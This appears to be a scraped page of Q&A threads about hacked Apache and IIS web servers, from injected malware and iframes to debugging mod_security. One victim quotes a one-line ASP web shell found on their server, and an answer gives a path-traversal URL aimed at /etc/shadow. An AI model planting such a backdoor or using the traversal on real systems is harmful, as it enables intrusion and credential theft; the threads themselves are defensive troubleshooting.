Something is automatically editing our site's global JS files to include malware. It's CHMODing the files, one at a time, to 777 and then appending the code. It started with one file but now has moved up to two. The site is on an apache server running PHP/mySQL/JQuery
This has been a nightmare, does this behavior hint at any specific type of exploit (FTP? JS? SQL?) The malware leads to the "Black Hole Exploit"
Just read in popular blogs, that some other people got the same problem. Seemed, that was fckeditor's file aupload vulnerability.
Related
One of my clients noticed a message in google search results that said their website may have been hacked. After some digging, I found html files on the server that contained seo garbage and javascript references. I removed those files, change cms passwords, updated some components like CKFinder, etc...
I then started looking into other sites on the server and found tons of .asp files with this line
<%If Request("cmp")<>"" Then Execute(Request("cmp"))%>nofoundfile
I've removed those but do not know how they got there. I've looked through various logs (event viewer, website, ftp) but most don't go back far enough from when the files were created.
I've updated the OS, which was only a month or two out of date, and changed ftp access.
What else can I do to find the point of entry or make sure my server and sites are safe?
BTW: This is a windows 2003 server running IIS 6.0.
There is multiple ways that they may have gotten access to your server.
Are you running a common CMS or custom?
It could be possible that they have found a vulnerability in one of your scripts.
for example if they found a SQL injection vulnerability they could retrive database information.
if they where to find a RCE bug (remote code execution) they maybe have been able to execute system commands leading to the creating of those arbitrary files.
Other than that, there are a few vulnerabilities in windows server that have been patched this week, check out this link :
http://blog.spiderlabs.com/2014/02/microsoft-patch-tuesday-february-2014.html
I have apache VM web app running locally. It's red hat.
It's PHP based but the main page is index.html. I am able to to into sub-directories for images and such, I wanted to know if it is possible for me to gain access to the directories that contain the php code, probably just one level above the images directory. Because of index.html, it forces the load, and I am unable to see server files.
Yes there used to be a trick called dot-dot-traversal that could do this. Basically you put two dots into a URL and climb above the web root. Something like http://www.example.com/../../../../etc/shadow . Occasionally a new way to exploit the vulnerability is discovered, but mostly it is rare. Unless you're running an old server, you should be pretty safe.
I have a website where I was forced to move over a bunch of pdf files from a windows server and many of the files have capitalization. This of course shows a file not found if someone has a link going to the file without the correct case. Its a big problem since my client has a many links pointing to these files with a myriad of case options.
I have enabled the speling module in apache and it seems to have helped with ignoring case for urls but NOT FOR THE PDFs.
Does anyone have a work around for this?
I followed these instructions for enabling the speling module: http://keystoneit.wordpress.com/2007/02/19/making-apache-case-insensitive/
As it's a file system feature under *nix boxes rather than apache specifically, you can batch rename all your pdf files to small case using shell or using some server-side scripting language and can
redirect all non-matching pdf requests to a guidelines page using htaccess where you can inform the user to type small case letters for the pdf file and also
you can give him download link with lowercase letters for the filename extracted from the url..
My server has been compromised recently. This morning, I have discovered that the intruder is injecting an iframe into each of my HTML pages. After testing, I have found out that the way he does that is by getting Apache (?) to replace every instance of
<body>
by
<iframe link to malware></iframe></body>
For example if I browse a file residing on the server consisting of:
</body>
</body>
Then my browser sees a file consisting of:
<iframe link to malware></iframe></body>
<iframe link to malware></iframe></body>
I have immediately stopped Apache to protect my visitors, but so far I have not been able to find what the intruder has changed on the server to perform the attack. I presume he has modified an Apache config file, but I have no idea which one. In particular, I have looked for recently modified files by time-stamp, but did not find anything noteworthy.
Thanks for any help.
Tuan.
PS: I am in the process of rebuilding a new server from scratch, but in the while, I would like to keep the old one running, since this is a business site.
I don't know the details of your compromised server. While this is a fairly standard drive-by attack against Apache that you can, ideally, resolve by rolling back to a previous version of your web content and server configuration (if you have a colo, contact the technical team responsible for your backups), let's presume you're entirely on your own and need to fix the problem yourself.
Pulling from StopBadware.org's documentation on the most common drive-by scenarios and resolution cases:
Malicious scripts
Malicious scripts are often used to redirect site visitors to a
different website and/or load badware from another source. These
scripts will often be injected by an attacker into the content of your
web pages, or sometimes into other files on your server, such as
images and PDFs. Sometimes, instead of injecting the entire script
into your web pages, the attacker will only inject a pointer to a .js
or other file that the attacker saves in a directory on your web
server.
Many malicious scripts use obfuscation to make them more difficult for
anti-virus scanners to detect:
Some malicious scripts use names that look like they’re coming from
legitimate sites (note the misspelling of “analytics”):
.htaccess redirects
The Apache web server, which is used by many hosting providers, uses a
hidden server file called .htaccess to configure certain access
settings for directories on the website. Attackers will sometimes
modify an existing .htaccess file on your web server or upload new
.htaccess files to your web server containing instructions to redirect
users to other websites, often ones that lead to badware downloads or
fraudulent product sales.
Hidden iframes
An iframe is a section of a web page that loads content from another
page or site. Attackers will often inject malicious iframes into a web
page or other file on your server. Often, these iframes will be
configured so they don’t show up on the web page when someone visits
the page, but the malicious content they are loading will still load,
hidden from the visitor’s view.
How to look for it
If your site was reported as a badware site by Google, you can use
Google’s Webmaster Tools to get more information about what was
detected. This includes a sampling of pages on which the badware was
detected and, using a Labs feature, possibly even a sample of the bad
code that was found on your site. Certain information can also be
found on the Google Diagnostics page, which can be found by replacing
example.com in the following URL with your own site’s URL:
www.google.com/safebrowsing/diagnostic?site=example.com
There exist several free and paid website scanning services on the
Internet that can help you zero in on specific badware on your site.
There are also tools that you can use on your web server and/or on a
downloaded copy of the files from your website to search for specific
text. StopBadware does not list or recommend such services, but the
volunteers in our online community will be glad to point you to their
favorites.
In short, use the stock-standard tools and scanners provided by Google first. If the threat can't otherwise be identified, you'll need to backpath through the code of your CMS, Apache configuration, SQL setup, and remaining content of your website to determine where you were compromised and what the right remediation steps should be.
Best of luck handling your issue!
I've been developing an application in CakePHP recently, and all was well until it wasn't. On our development server (which I control) the application runs just fine. On the live server (which our university controls) most of my POST requests result in a 403 page. I've figured out that PHP is never even being called in these cases, and I'm 99% certain that the only real configuration difference between the two is mod_security2.
Here's my trouble. I cannot see the error_log file, because I am not root. I can't even list the directory that it's in. We have got to have the slowest admin on the planet, and I'm trying to get past this issue as quickly as possible. Is there any way to debug mod_security2 without simply throwing bits of post data at it until it breaks hoping to "guess" at what you might be doing wrong?
I've tried looking through the configuration files (which I do have read access to) but I've never used this mod before, and it's like wading through molasses. I don't even know where to begin.
Disabling the mod outright isn't an option, I'm simply going to have to work with it I'm afraid. HELP.